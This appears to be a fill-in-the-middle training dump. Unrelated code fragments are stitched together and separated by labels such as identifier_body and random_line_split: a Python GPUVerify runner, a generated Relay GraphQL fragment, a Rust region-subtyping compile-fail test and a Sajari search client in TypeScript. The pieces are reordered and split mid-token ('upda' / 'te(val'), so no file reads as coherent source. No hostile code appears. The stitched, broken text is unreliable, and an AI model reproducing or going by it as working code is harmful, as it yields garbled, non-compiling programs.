(self, msg): self.msg = msg class GPUVerifyRunner(RunnerBaseClass): softTimeoutDiff = 5 def __init__(self, boogieProgram, workingDirectory, rc): _logger.debug('Initialising {}'.format(boogieProgram)) super(GPUVerifyRunner, self).__init__(boogieProgram, workingDirectory, rc) # Sanity checks # TODO self.softTimeout = self.maxTimeInSeconds if self.maxTimeInSeconds > 0: # We use GPUVerify's timeout function and enforce the # requested timeout and enforce a hard timeout slightly later self.maxTimeInSeconds = self.maxTimeInSeconds + self.softTimeoutDiff if not self.toolPath.endswith('.py'): raise GPUVerifyRunnerException( 'toolPath needs to be the GPUVerify python script') @property def name(self): return "gpuverify" def _buildResultDict(self): results = super(GPUVerifyRunner, self)._buildResultDict() # TODO: Remove this. It's now redundant results['hit_hard_timeout'] = results['backend_timeout'] return results def GetNewAnalyser(self, resultDict): return GPUVerifyAnalyser(resultDict) def run(self): # Run using python interpreter cmdLine = [ sys.executable, self.toolPath ] cmdLine.append('--timeout={}'.format(self.softTimeout)) # Note we ignore self.entryPoint _logger.info('Ignoring entry point {}'.format(self.entryPoint)) # GPUVerify needs PATH environment variable set env = {} path = os.getenv('PATH') if path == None: path = "" env['PATH'] = path cmdLine.extend(self.additionalArgs) # Add the boogie source file as last arg cmdLine.append(self.programPathArgument) backendResult = self.runTool(cmdLine, isDotNet=False, envExtra=env) if backendResult.outOfTime: _logger.warning('GPUVerify hit hard timeout') def get(): return GPUVerifyRunner
__init__
identifier_name
GPUVerify.py
# vim: set sw=2 ts=2 softtabstop=2 expandtab: from . RunnerBase import RunnerBaseClass from .. Analysers.GPUVerify import GPUVerifyAnalyser import logging import os import psutil import re import sys import yaml _logger = logging.getLogger(__name__) class GPUVerifyRunnerException(Exception): def __init__(self, msg): self.msg = msg class GPUVerifyRunner(RunnerBaseClass): softTimeoutDiff = 5 def __init__(self, boogieProgram, workingDirectory, rc): _logger.debug('Initialising {}'.format(boogieProgram)) super(GPUVerifyRunner, self).__init__(boogieProgram, workingDirectory, rc) # Sanity checks # TODO self.softTimeout = self.maxTimeInSeconds if self.maxTimeInSeconds > 0: # We use GPUVerify's timeout function and enforce the # requested timeout and enforce a hard timeout slightly later self.maxTimeInSeconds = self.maxTimeInSeconds + self.softTimeoutDiff if not self.toolPath.endswith('.py'): raise GPUVerifyRunnerException( 'toolPath needs to be the GPUVerify python script') @property def name(self): return "gpuverify" def _buildResultDict(self): results = super(GPUVerifyRunner, self)._buildResultDict() # TODO: Remove this. It's now redundant results['hit_hard_timeout'] = results['backend_timeout'] return results def GetNewAnalyser(self, resultDict): return GPUVerifyAnalyser(resultDict) def run(self): # Run using python interpreter cmdLine = [ sys.executable, self.toolPath ] cmdLine.append('--timeout={}'.format(self.softTimeout)) # Note we ignore self.entryPoint _logger.info('Ignoring entry point {}'.format(self.entryPoint)) # GPUVerify needs PATH environment variable set env = {} path = os.getenv('PATH') if path == None: path = "" env['PATH'] = path cmdLine.extend(self.additionalArgs) # Add the boogie source file as last arg cmdLine.append(self.programPathArgument) backendResult = self.runTool(cmdLine, isDotNet=False, envExtra=env) if backendResult.outOfTime: _logger.warning('GPUVerify hit hard timeout') def get():
return GPUVerifyRunner
identifier_body
FairCollections_fair.graphql.ts
/* tslint:disable */ /* eslint-disable */ import { ReaderFragment } from "relay-runtime"; import { FragmentRefs } from "relay-runtime"; export type FairCollections_fair = { readonly marketingCollections: ReadonlyArray<{ readonly id: string; readonly slug: string; readonly " $fragmentRefs": FragmentRefs<"FairCollection_collection">; } | null>; readonly " $refType": "FairCollections_fair"; }; export type FairCollections_fair$data = FairCollections_fair; export type FairCollections_fair$key = { readonly " $data"?: FairCollections_fair$data; readonly " $fragmentRefs": FragmentRefs<"FairCollections_fair">; }; const node: ReaderFragment = { "argumentDefinitions": [], "kind": "Fragment", "metadata": null, "name": "FairCollections_fair", "selections": [ { "alias": null, "args": [ { "kind": "Literal", "name": "size", "value": 5 } ], "concreteType": "MarketingCollection", "kind": "LinkedField", "name": "marketingCollections", "plural": true, "selections": [ { "alias": null, "args": null, "kind": "ScalarField", "name": "id", "storageKey": null }, { "alias": null, "args": null, "kind": "ScalarField", "name": "slug", "storageKey": null }, { "args": null, "kind": "FragmentSpread", "name": "FairCollection_collection" } ], "storageKey": "marketingCollections(size:5)"
}; (node as any).hash = '8ecebb5e5de44baf510cad3eaceda047'; export default node;
} ], "type": "Fair"
random_line_split
regions-fn-subtyping.rs
// Copyright 2012 The Rust Project Developers. See the COPYRIGHT // file at the top-level directory of this distribution and at // http://rust-lang.org/COPYRIGHT. // // Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or // http://www.apache.org/licenses/LICENSE-2.0> or the MIT license // <LICENSE-MIT or http://opensource.org/licenses/MIT>, at your // option. This file may not be copied, modified, or distributed // except according to those terms. fn of<T>() -> @fn(T) { fail!(); } fn subtype<T>(x: @fn(T))
fn test_fn<'x,'y,'z,T>(_x: &'x T, _y: &'y T, _z: &'z T) { // Here, x, y, and z are free. Other letters // are bound. Note that the arrangement // subtype::<T1>(of::<T2>()) will typecheck // iff T1 <: T2. subtype::<&fn<'a>(&'a T)>( of::<&fn<'a>(&'a T)>()); subtype::<&fn<'a>(&'a T)>( of::<&fn<'b>(&'b T)>()); subtype::<&fn<'b>(&'b T)>( of::<&fn<'x>(&'x T)>()); subtype::<&fn<'x>(&'x T)>( of::<&fn<'b>(&'b T)>()); //~ ERROR mismatched types subtype::<&fn<'a,'b>(&'a T, &'b T)>( of::<&fn<'a>(&'a T, &'a T)>()); subtype::<&fn<'a>(&'a T, &'a T)>( of::<&fn<'a,'b>(&'a T, &'b T)>()); //~ ERROR mismatched types subtype::<&fn<'a,'b>(&'a T, &'b T)>( of::<&fn<'x,'y>(&'x T, &'y T)>()); subtype::<&fn<'x,'y>(&'x T, &'y T)>( of::<&fn<'a,'b>(&'a T, &'b T)>()); //~ ERROR mismatched types subtype::<&fn<'x,'a>(&'x T) -> @fn(&'a T)>( of::<&fn<'x,'a>(&'x T) -> @fn(&'a T)>()); subtype::<&fn<'a>(&'a T) -> @fn(&'a T)>( of::<&fn<'a,'b>(&'a T) -> @fn(&'b T)>()); //~ ERROR mismatched types subtype::<&fn<'a>(&'a T) -> @fn(&'a T)>( of::<&fn<'x,'b>(&'x T) -> @fn(&'b T)>()); //~ ERROR mismatched types subtype::<&fn<'a,'b>(&'a T) -> @fn(&'b T)>( of::<&fn<'a>(&'a T) -> @fn(&'a T)>()); } fn main() {}
{ fail!(); }
identifier_body
regions-fn-subtyping.rs
// Copyright 2012 The Rust Project Developers. See the COPYRIGHT // file at the top-level directory of this distribution and at // http://rust-lang.org/COPYRIGHT. // // Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or // http://www.apache.org/licenses/LICENSE-2.0> or the MIT license // <LICENSE-MIT or http://opensource.org/licenses/MIT>, at your // option. This file may not be copied, modified, or distributed // except according to those terms. fn of<T>() -> @fn(T) { fail!(); } fn
<T>(x: @fn(T)) { fail!(); } fn test_fn<'x,'y,'z,T>(_x: &'x T, _y: &'y T, _z: &'z T) { // Here, x, y, and z are free. Other letters // are bound. Note that the arrangement // subtype::<T1>(of::<T2>()) will typecheck // iff T1 <: T2. subtype::<&fn<'a>(&'a T)>( of::<&fn<'a>(&'a T)>()); subtype::<&fn<'a>(&'a T)>( of::<&fn<'b>(&'b T)>()); subtype::<&fn<'b>(&'b T)>( of::<&fn<'x>(&'x T)>()); subtype::<&fn<'x>(&'x T)>( of::<&fn<'b>(&'b T)>()); //~ ERROR mismatched types subtype::<&fn<'a,'b>(&'a T, &'b T)>( of::<&fn<'a>(&'a T, &'a T)>()); subtype::<&fn<'a>(&'a T, &'a T)>( of::<&fn<'a,'b>(&'a T, &'b T)>()); //~ ERROR mismatched types subtype::<&fn<'a,'b>(&'a T, &'b T)>( of::<&fn<'x,'y>(&'x T, &'y T)>()); subtype::<&fn<'x,'y>(&'x T, &'y T)>( of::<&fn<'a,'b>(&'a T, &'b T)>()); //~ ERROR mismatched types subtype::<&fn<'x,'a>(&'x T) -> @fn(&'a T)>( of::<&fn<'x,'a>(&'x T) -> @fn(&'a T)>()); subtype::<&fn<'a>(&'a T) -> @fn(&'a T)>( of::<&fn<'a,'b>(&'a T) -> @fn(&'b T)>()); //~ ERROR mismatched types subtype::<&fn<'a>(&'a T) -> @fn(&'a T)>( of::<&fn<'x,'b>(&'x T) -> @fn(&'b T)>()); //~ ERROR mismatched types subtype::<&fn<'a,'b>(&'a T) -> @fn(&'b T)>( of::<&fn<'a>(&'a T) -> @fn(&'a T)>()); } fn main() {}
subtype
identifier_name
regions-fn-subtyping.rs
// Copyright 2012 The Rust Project Developers. See the COPYRIGHT // file at the top-level directory of this distribution and at // http://rust-lang.org/COPYRIGHT. // // Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or // http://www.apache.org/licenses/LICENSE-2.0> or the MIT license // <LICENSE-MIT or http://opensource.org/licenses/MIT>, at your // option. This file may not be copied, modified, or distributed // except according to those terms. fn of<T>() -> @fn(T) { fail!(); } fn subtype<T>(x: @fn(T)) { fail!(); } fn test_fn<'x,'y,'z,T>(_x: &'x T, _y: &'y T, _z: &'z T) { // Here, x, y, and z are free. Other letters // are bound. Note that the arrangement // subtype::<T1>(of::<T2>()) will typecheck // iff T1 <: T2. subtype::<&fn<'a>(&'a T)>( of::<&fn<'a>(&'a T)>()); subtype::<&fn<'a>(&'a T)>( of::<&fn<'b>(&'b T)>()); subtype::<&fn<'b>(&'b T)>( of::<&fn<'x>(&'x T)>()); subtype::<&fn<'x>(&'x T)>( of::<&fn<'b>(&'b T)>()); //~ ERROR mismatched types subtype::<&fn<'a,'b>(&'a T, &'b T)>( of::<&fn<'a>(&'a T, &'a T)>()); subtype::<&fn<'a>(&'a T, &'a T)>( of::<&fn<'a,'b>(&'a T, &'b T)>()); //~ ERROR mismatched types subtype::<&fn<'a,'b>(&'a T, &'b T)>( of::<&fn<'x,'y>(&'x T, &'y T)>()); subtype::<&fn<'x,'y>(&'x T, &'y T)>( of::<&fn<'a,'b>(&'a T, &'b T)>()); //~ ERROR mismatched types subtype::<&fn<'x,'a>(&'x T) -> @fn(&'a T)>( of::<&fn<'x,'a>(&'x T) -> @fn(&'a T)>()); subtype::<&fn<'a>(&'a T) -> @fn(&'a T)>( of::<&fn<'a,'b>(&'a T) -> @fn(&'b T)>()); //~ ERROR mismatched types subtype::<&fn<'a>(&'a T) -> @fn(&'a T)>( of::<&fn<'x,'b>(&'x T) -> @fn(&'b T)>()); //~ ERROR mismatched types
} fn main() {}
subtype::<&fn<'a,'b>(&'a T) -> @fn(&'b T)>( of::<&fn<'a>(&'a T) -> @fn(&'a T)>());
random_line_split
index.ts
import { USER_AGENT } from "./user-agent"; import EventEmitter from "./events"; import { isSSR } from "./ssr"; export { EventEmitter }; /** * NetworkError defines an error occuring from the network. */ export class NetworkError extends Error { type: "CONNECTION"; constructor(message: string) { super(message); this.type = "CONNECTION"; } } /** * RequestError defines an error occuring from a request. */ export class RequestError extends Error { statusCode: number; error?: Error; constructor(statusCode: number, message: string, error?: Error) { super(message); this.statusCode = statusCode; this.error = error; } } type ConfigObj = { /** * Redirect URL for click tracking. Prepended to the the front of the token * returned by the engine. */ clickTokenURL: string; /** * Callers can set this to add an additional user agent value to the request's metadata. */ userAgent: string; }; const configDefaults: ConfigObj = { clickTokenURL: "https://re.sajari.com/token/", userAgent: "", }; /** * Client defines a client for interacting with the Sajari API. */ export class Client { // The account ID (formerly called project). project: string; // The collection ID. collection: string; endpoint: string; key?: string; secret?: string; config: ConfigObj; userAgent: string = ""; /** * Constructs an instance of Client for a specific account and collection. * * ```javascript * const client = new Client("<account_id>", "<collection_id>"); * ``` * * It is also possible to optionally set the API endpoint: * * ```javascript * const client = new Client("<account_id>", "<collection_id>", "<endpoint>"); * ``` * * @param project * @param collection * @param {string} [endpoint] */ constructor( project: string, collection: string, endpoint: string = `${isSSR() ? "https:" : ""}//jsonapi.sajari.net`, key?: string, secret?: string, config?: Partial<ConfigObj> ) { // Key/secret is only allowed in non SSR context if (!isSSR() && [key, secret].some(Boolean)) { throw new Error( "key/secret authorization is only supported for server-side rendering." ); } this.project = project; this.collection = collection; this.endpoint = endpoint; this.key = key; this.secret = secret; this.config = Object.assign(configDefaults, config); this.interactionConsume = this.interactionConsume.bind(this); } /** * call executes a request to the Sajari API */ async call<Response = any>( path: string, request: Record<string, any>, signal?: AbortSignal ): Promise<Response> { // Check we have a connection in non SSR context if (!isSSR() && !navigator.onLine) { throw new NetworkError( "Search request failed due to a network error. Please check your network connection." ); } const metadata = { project: [this.project], collection: [this.collection], "user-agent": [ [USER_AGENT, this.userAgent, this.config.userAgent] .filter(Boolean) .join(" "), ], }; // Only allow key/secret for SSR contexts if (isSSR() && [this.key, this.secret].every(Boolean)) { Object.assign(metadata, { authorization: [`keysecret ${this.key} ${this.secret}`], }); } const resp = await fetch(`${this.endpoint}${path}`, { signal, method: "POST", headers: { Accept: "application/json", // XXX: This is to remove the need for the OPTIONS request // https://stackoverflow.com/questions/29954037/why-is-an-options-request-sent-and-can-i-disable-it "Content-Type": "text/plain", }, body: JSON.stringify({ metadata, request, }), }); if (resp.status !== 200) { let message = resp.statusText; try { let response = await resp.json(); message = response.message; } catch (_) {} if (resp.status === 403) { throw new RequestError( resp.status, "This domain is not authorized to make this search request.", new Error(message) ); } throw new RequestError( resp.status, "Search request failed due to a configuration error.", new Error(message) ); } return await resp.json(); } /** * pipeline creates a new QueryPipeline instance that inherits configuration from the Client. * @param name pipeline name * @param {string} [version] pipeline version */ pipeline(name: string, version?: string): QueryPipeline { return new QueryPipeline(this, name, version); } /** * interactionConsume consumes an interaction token. */ async interactionConsume( token: string, identifier: string, weight: number, data: Record<string, string> = {} ) { return this.call<void>("/sajari.interaction.v2.Interaction/ConsumeToken", { token, identifier, weight, data, }); } } /** * Type of pipeline. */ export enum PipelineType { /** * Query pipeline. */ Query = 1, /** * Record pipeline. */ Record = 2, } export interface Step { identifier: string; title?: string; description?: string; parameters?: { [name: string]: { name?: string; defaultValue?: string; }; }; constants?: { [name: string]: { value?: string; }; }; condition?: string; } /** * Pipeline ... */ export interface Pipeline { identifier: PipelineIdentifier; created: Date; description?: string; steps: { preSteps: Step[]; postSteps: Step[]; }; } /** * PipelineIdentifier ... */ export interface PipelineIdentifier { name: string; version?: string; } export const EVENT_SEARCH_SENT = "search-sent"; /** * QueryPipeline is a client for running query pipelines on a collection. See * [[QueryPipeline.search]] for more details. * * Create a new QueryPipeline via [[Client.pipeline]]. * * ```javascript * // const client = new Client(...); * const pipeline = client.pipeline("website"); * ``` */ class QueryPipeline extends EventEmitter { private client: Client; readonly identifier: PipelineIdentifier; constructor(client: Client, name: string, version?: string) { super(); this.client = client; this.identifier = { name: name, version: version, }; } /** * Search runs a search query defined by a pipeline with the given values and * session configuration. * * ```javascript * pipeline.search({ q: "<search query>" }) * .then(([response, values]) => { * // handle response * }) * .catch(error => { * // handle error * }) * ``` * * @param values * @param tracking */ async search( values: Record<string, string>, tracking?: Tracking ): Promise<[SearchResponse, Record<string, string>]> { let pt: TrackingProto = { type: TrackingType.None }; if (tracking !== undefined) { const { queryID, ...rest } = tracking; pt = { query_id: queryID, ...rest, }; } this.emit(EVENT_SEARCH_SENT, values); let jsonProto = await this.client.call<SearchResponseProto>( "/sajari.api.pipeline.v1.Query/Search", { pipeline: this.identifier, tracking: pt, values, } ); const aggregates = Object.entries( jsonProto.searchResponse?.aggregates || {} ) .map(([key, aggregate]) => { if ("metric" in aggregate) { let [t, k] = key.split("."); return { type: t, key: k, value: aggregate.metric.value, }; } if ("count" in aggregate) { return { type: "count", key: key.replace(/^count./, ""), value: aggregate.count.counts, }; } if ("buckets" in aggregate) { return { type: "count", key: "buckets", value: Object.values(aggregate.buckets?.buckets ?? {}).reduce( (obj, { name, count }) => Object.assign(obj, { [name]: count, }), {} ), }; } return { key, value: aggregate }; }) .reduce<Aggregates>((obj, item) => { if (item.type === undefined) { console.debug(item); return obj; } if (obj[item.key] === undefined) { obj[item.key] = {}; } // @ts-ignore obj[item.key][item.type] = item.value; return obj; }, {}); const aggregateFilters = Object.entries( jsonProto.searchResponse?.aggregateFilters || {} ) .map(([key, aggregate]) => { if ("metric" in aggregate) { let [t, k] = key.split("."); return { type: t, key: k, value: aggregate.metric.value, }; } if ("count" in aggregate) { return { type: "count", key: key.replace(/^count./, ""), value: aggregate.count.counts, }; } if ("buckets" in aggregate) { return { type: "count", key: "buckets", value: Object.values(aggregate.buckets?.buckets ?? {}).reduce( (obj, { name, count }) => Object.assign(obj, { [name]: count, }), {} ), }; } return { key, value: aggregate }; }) .reduce<Aggregates>((obj, item) => { if (item.type === undefined) { console.debug(item); return obj; } if (obj[item.key] === undefined) { obj[item.key] = {}; } // @ts-ignore obj[item.key][item.type] = item.value; return obj; }, {}); const results: Result[] = (jsonProto.searchResponse?.results || []).map( ({ indexScore, score, values }, index) => { let t: Token | undefined = undefined; const token = (jsonProto.tokens || [])[index]; if (token !== undefined) { if ("click" in token) { t = { click: this.client.config.clickTokenURL + token.click.token }; } else if ("pos" in token) { t = { ...token }; } else if ("posNeg" in token) { t = { pos: token.posNeg.pos, neg: token.posNeg.neg, }; } } return { indexScore, score, values: processProtoValues(values), token: t, }; } ); let redirects = {} as Redirects; if (jsonProto.redirects) { redirects = Object.entries(jsonProto.redirects).reduce( (acc, [queryString, target]) => { acc[queryString] = target; acc[queryString]["token"] = this.client.config.clickTokenURL + acc[queryString]["token"]; return acc; }, {} as Redirects ); } return [ { time: parseFloat(jsonProto.searchResponse?.time || "0.0"), totalResults: parseInt( jsonProto.searchResponse?.totalResults || "0", 10 ), results: results, aggregates: aggregates, aggregateFilters: aggregateFilters, redirects: redirects, }, jsonProto.values || {}, ]; } } export interface SearchResponse { /** * Time in seconds taken to perform the query. */ time: number; /** * totalResults is the total number of results. */ totalResults: number; /** * Results of the query. */ results: Result[]; /** * Aggregates computed on the query results (see [[Aggregates]]). */ aggregates: Aggregates; /** * AggregateFilters computed on the query results (see [[Aggregates]]). */ aggregateFilters: Aggregates; /** * All Redirects for which the current query is a starting substring (see [[Redirects]]). */ redirects: Redirects; } export interface Result { /** * indexScore is the index-matched score of this Result. */ indexScore: number; /** * score is the overall score of this [[Result]]. */ score: number; /** * values is an object of field-value pairs. */ values: Record<string, string | string[]>; /** * token is the [[Token]] associated with this [[Result]] (if any). */ token?: Token; } export type Token = ClickToken | PosNegToken; /** * ClickToken defines a click token. See [[TrackingType.Click]] for more details. */ export type ClickToken = { click: string }; /** * PosNegToken defines a pos/neg token pair. See [[TrackingType.PosNeg]] for more details. */ export type PosNegToken = { pos: string; neg: string }; export type Aggregates = Record< string, Record<string, CountAggregate | MetricAggregate> >; export interface CountAggregate { count: Record<string, number>; } export type MetricAggregate = number; /** * A Redirect defines a search string which clients should handle by sending users to a specific location * instead of a standard search results screen. In a default setup, these are only returned by an autocomplete * pipeline. Web search clients handle redirects by sending the web browser to the `target` or `token` URL. * Other clients (mobile) may handle redirect forwarding differently. * See [[Redirects]] for redirect collection details. */ export interface RedirectTarget { id: string; target: string; token?: string; } /** * All redirects which match the current query substring are returned. An autocomplete query where `q` is "foo" * could result in a redirects collection containing `{"foobar": {…}, "foo qux": {…}}` being returned. * See [[RedirectTarget]] for shape of target object. */ export interface Redirects { [redirectQuery: string]: RedirectTarget; } /** * @hidden */ export interface SearchResponseProto { searchResponse?: Partial<{ time: string; totalResults: string; results: ResultProto[]; aggregates: AggregatesProto; aggregateFilters: AggregatesProto; }>; tokens?: TokenProto[]; values?: Record<string, string>; redirects?: Redirects; } /** * @hidden */ type TokenProto = | undefined | { click: { token: string }; } | { pos: string; neg: string; } | { posNeg: { pos: string; neg: string; }; }; /** * @hidden */ type ValueProto = | { single: string } | { repeated: { values: string[] } } | { singleBytes: string } | { null: boolean }; /** * @hidden */ function processProtoValues(values: Record<string, ValueProto>) { let vs: Record<string, string | string[]> = {}; Object.keys(values).forEach((key) => { let v = valueFromProto(values[key]); if (v !== null) { vs[key] = v; } }); return vs; } /** * @hidden */ function valueFromProto(value: ValueProto): string | string[] | null { if ("single" in value) { return value.single; } else if ("repeated" in value) { return value.repeated.values; } else if ("singleBytes" in value) { return value.singleBytes; } return null; } /** * @hidden */ interface ResultProto { indexScore: number; score: number; values: Record<string, ValueProto>; } /** * @hidden */ type AggregatesProto = Record< string, CountAggregateProto | MetricAggregateProto | BucketAggregateProto >; /** * @hidden */ interface CountAggregateProto { count: { counts: Record<string, number>; }; } /** * @hidden */ interface BucketAggregateProto { buckets?: { buckets?: Record< string, { name: string; count: number; } >; }; } /** * @hidden */ interface MetricAggregateProto { metric: { value: number; }; } /** * Tracking defines behaviour for handling search sessions and result interactions. */ export type Tracking = { type: TrackingType; queryID?: string; sequence?: number; field?: string; data?: Record<string, string>; }; /** * @hidden */ interface TrackingProto { type: TrackingType; query_id?: string; sequence?: number; field?: string; data?: Record<string, string>; } /** * TrackingType defines the possible result-interaction tracking types used by [[Session]] */ export enum TrackingType { /** * None disables tracking. */ None = "NONE", /** * Click generates click tracking tokens. */ Click = "CLICK", /** * PosNeg creates pos/neg tracking tokens. */ PosNeg = "POS_NEG", } /** * Session takes query values, maintains session state, and returns tracking data * to be sent with search requests. */ export interface Session { /** * next returns [[Tracking]] to be sent with search requests. * @param values */ next(values?: Record<string, string>): Tracking; /** * reset sets the [[Session]] instance to its empty state. */ reset(): void; } export const EVENT_TRACKING_RESET = "tracking-reset"; /** * DefaultSession holds state of a sequence of searches. */ export class DefaultSession extends EventEmitter implements Session { private queryID: string = ""; private sequence: number = 0; private type: TrackingType; private field?: string; private data?: Record<string, string>; constructor( type: TrackingType, field?: string, data?: Record<string, string> ) { super(); this.type = type; this.field = field; this.data = mergeTrackingData(data); } next(_?: Record<string, string>): Tracking { if (this.queryID === "") { this.queryID = newQueryID(); this.sequence = 0; } else { this.sequence++; } return { type: this.type, queryID: this.queryID, sequence: this.sequence, field: this.field, data: this.data, }; } reset() { this.emit(EVENT_TRACKING_RESET); this.queryID = ""; this.sequence = 0; } } /** * mergeTrackingData combines the provided session data with the requesters * google analytics ID and/or Sajari ID if present in the documents cookie. * * Because this is meant to be used on the client side, when in SSR mode * it will always return empty object * @hidden */ function mergeTrackingData(data?: Record<string, string>) { if (typeof window === "undefined") { return {}; } const cookieData = document.cookie .split(";") .filter((item) => item.includes("_ga") || item.includes("sjID")) .map((item) => item.split("=")) .reduce((data, [key, val]) => { if (key === "_ga") { data["ga"] = val; return data; } data[key] = val; return data; }, {} as Record<string, string>); if (data === undefined) { return cookieData; } Object.entries(cookieData).forEach(([key, val]) => { data[key] = val; }); return data; } /** * newQueryID constructs a new ID for a query. * @hidden */ function newQueryID(len: number = 16): string { let output = ""; for (let i = 0; i < len; i++) { output += "abcdefghijklmnopqrstuvwxyz0123456789".charAt( Math.floor(Math.random() * 36) ); } return output; } /** * InteractiveSession creates a session based on text searches and is recommended * for use in search-as-you-type style interfaces. * * It resets the session if the search query value: * * - Is `undefined`. * - First 3 characters have changed (i.e. from a direct replacement) * - Cleared after being non-empty (i.e. from a delete) */ export class InteractiveSession implements Session { private session: Session; private textParam: string; private lastQuery: string; constructor(textParam: string, session: Session) { this.textParam = textParam; this.session = session; this.lastQuery = ""; } next(values: Record<string, string>): Tracking { const text = values[this.textParam]; if (text === undefined) { this.reset(); return this.session.next(values); } const shortendPreviousQuery = this.lastQuery.substr( 0, Math.min(text.length, 3) ); const firstThreeCharsChanged = text.substr(0, shortendPreviousQuery.length) !== shortendPreviousQuery; const queryCleared = this.lastQuery.length > 0 && text.length === 0; if (firstThreeCharsChanged || queryCleared) { this.reset(); } this.lastQuery = text; return this.session.next(values); } reset() { this.session.reset(); } } type FilterFunc = () => string; export const EVENT_SELECTION_UPDATED = "selection-updated"; export const EVENT_OPTIONS_UPDATED = "options-updated"; export class Filter extends EventEmitter { private options: Record<string, string | FilterFunc>; private active: string[]; private multi: boolean; private joinOp: "OR" | "AND"; constructor( options: Record<string, string>, initial: string[] = [], multi = false, joinOp: "OR" | "AND" = "OR" ) { super(); this.options = options; this.active = initial; this.multi = multi; this.joinOp = joinOp; } set(key: string, active = true) { if (this.multi) { if (active && this.active.indexOf(key) === -1) { this.active = this.active.concat(key); } else { this.active = this.active.filter((k) => k !== key); } this.emit(EVENT_SELECTION_UPDATED, [...this.active]); return; } if (active) { this.active = [key]; } else { this.active = []; } this.emit(EVENT_SELECTION_UPDATED, [...this.active]); } isActive(key: string): boolean { return this.active.indexOf(key) !== -1; } get(): string[] { return [...this.active]; } updateOptions(options: Record<string, string | FilterFunc | undefined>) { Object.keys(options).forEach((key) => { const value = options[key]; if (value === undefined) { delete this.options[key]; this.active = this.active.filter((k) => k !== key); return; } this.options[key] = value; }); this.emit(EVENT_OPTIONS_UPDATED, { ...this.options }); } getOptions(): Record<string, string | FilterFunc> { return { ...this.options }; } filter(): string { const filters = this.active .map((key) => { let filter = this.options[key]; if (typeof filter === "function") { filter = filter(); } if (filter !== "") { filter = `(${filter})`; } return filter; }) .filter(Boolean); switch (filters.length) { case 0: return ""; case 1: return filters[0]; default: return filters.join(` ${this.joinOp} `); } } } export type ValueFunc = () => string; export type ValueType = | string | number | boolean | string[] | number[] | boolean[] | ValueFunc; export const EVENT_VALUES_UPDATED = "values-changed"; export class Values extends EventEmitter { private internal: Record<string, ValueType>; constructor(initial: Record<string, ValueType> = {}) { super(); this.internal = initial; } _internalUpdate(values: Record<string, ValueType | undefined>) { Object.keys(values).forEach((key) => { const value = values[key]; if (value === undefined) { delete this.internal[key]; } else { this.internal[key] = value; } }); } upda
ues: Record<string, ValueType | undefined>) { this._internalUpdate(values); this.emit( EVENT_VALUES_UPDATED, values, (values: Record<string, ValueType | undefined>) => this._internalUpdate(values) ); } get(): Record<string, string> { const values: Record<string, string> = {}; Object.entries(this.internal).forEach(([key, value]) => { if (typeof value === "function") { values[key] = value(); } else if (Array.isArray(value)) { values[key] = value.join(","); } else { values[key] = "" + value; } }); return values; } } export type TokenState = { token: PosNegToken; clickSubmitted: boolean; }; export const POS_NEG_STORAGE_KEY = "sajari_tokens"; // Just here to handle SSR execution (docs) const setItem = (key: string, value: string) => { if (isSSR()) { return; } return localStorage.setItem(key, value); }; const getItem = (key: string): string | null => { if (isSSR()) { return ""; } return localStorage.getItem(key); }; /** * PosNegLocalStorageManager is a utility class for manipulating Sajari's localstorage based * management of PosNeg tokens. Typical use case is storing tokens for later consumption * as users move through an ecommerce purchase funnel. */ export class PosNegLocalStorageManager { currentTokens: Record<string | number, TokenState>; client: Client; constructor(client: Client) { const storageContent = getItem(POS_NEG_STORAGE_KEY); try { this.currentTokens = storageContent ? JSON.parse(storageContent) : {}; } catch (e) { this.currentTokens = {}; console.error( "Sajari PosNeg local storage key contains corrupt data.", storageContent ); } this.client = client; } add(fieldValue: string | number, token: PosNegToken) { this.currentTokens[fieldValue] = { token, clickSubmitted: false }; setItem(POS_NEG_STORAGE_KEY, JSON.stringify(this.currentTokens)); } get(fieldValue: string | number): TokenState | undefined { return this.currentTokens[fieldValue]; } sendPosEvent( fieldValue: string | number, identifier: string, weight: number ) { const tokenState = this.get(fieldValue); if (tokenState === undefined) { return; } this.client.interactionConsume(tokenState.token.pos, identifier, weight); } sendClickEvent(fieldValue: string | number) { const tokenState = this.get(fieldValue); if (tokenState === undefined || tokenState.clickSubmitted !== false) { return; } this.sendPosEvent(fieldValue, "click", 1); this.currentTokens[fieldValue].clickSubmitted = true; setItem(POS_NEG_STORAGE_KEY, JSON.stringify(this.currentTokens)); } sendPendingClicks() { Object.keys(this.currentTokens).forEach((fieldValue) => { if (this.currentTokens[fieldValue].clickSubmitted === false) { this.sendClickEvent(fieldValue); this.currentTokens[fieldValue].clickSubmitted = true; } }); } }
te(val
identifier_name
index.ts
import { USER_AGENT } from "./user-agent"; import EventEmitter from "./events"; import { isSSR } from "./ssr"; export { EventEmitter }; /** * NetworkError defines an error occuring from the network. */ export class NetworkError extends Error { type: "CONNECTION"; constructor(message: string) { super(message); this.type = "CONNECTION"; } } /** * RequestError defines an error occuring from a request. */ export class RequestError extends Error { statusCode: number; error?: Error; constructor(statusCode: number, message: string, error?: Error) { super(message); this.statusCode = statusCode; this.error = error; } } type ConfigObj = { /** * Redirect URL for click tracking. Prepended to the the front of the token * returned by the engine. */ clickTokenURL: string; /** * Callers can set this to add an additional user agent value to the request's metadata. */ userAgent: string; }; const configDefaults: ConfigObj = { clickTokenURL: "https://re.sajari.com/token/", userAgent: "", }; /** * Client defines a client for interacting with the Sajari API. */ export class Client { // The account ID (formerly called project). project: string; // The collection ID. collection: string; endpoint: string; key?: string; secret?: string; config: ConfigObj; userAgent: string = ""; /** * Constructs an instance of Client for a specific account and collection. * * ```javascript * const client = new Client("<account_id>", "<collection_id>"); * ``` * * It is also possible to optionally set the API endpoint: * * ```javascript * const client = new Client("<account_id>", "<collection_id>", "<endpoint>"); * ``` * * @param project * @param collection * @param {string} [endpoint] */ constructor( project: string, collection: string, endpoint: string = `${isSSR() ? "https:" : ""}//jsonapi.sajari.net`, key?: string, secret?: string, config?: Partial<ConfigObj> ) { // Key/secret is only allowed in non SSR context if (!isSSR() && [key, secret].some(Boolean)) { throw new Error( "key/secret authorization is only supported for server-side rendering." ); } this.project = project; this.collection = collection; this.endpoint = endpoint; this.key = key; this.secret = secret; this.config = Object.assign(configDefaults, config); this.interactionConsume = this.interactionConsume.bind(this); } /** * call executes a request to the Sajari API */ async call<Response = any>( path: string, request: Record<string, any>, signal?: AbortSignal ): Promise<Response> { // Check we have a connection in non SSR context if (!isSSR() && !navigator.onLine) { throw new NetworkError( "Search request failed due to a network error. Please check your network connection." ); } const metadata = { project: [this.project], collection: 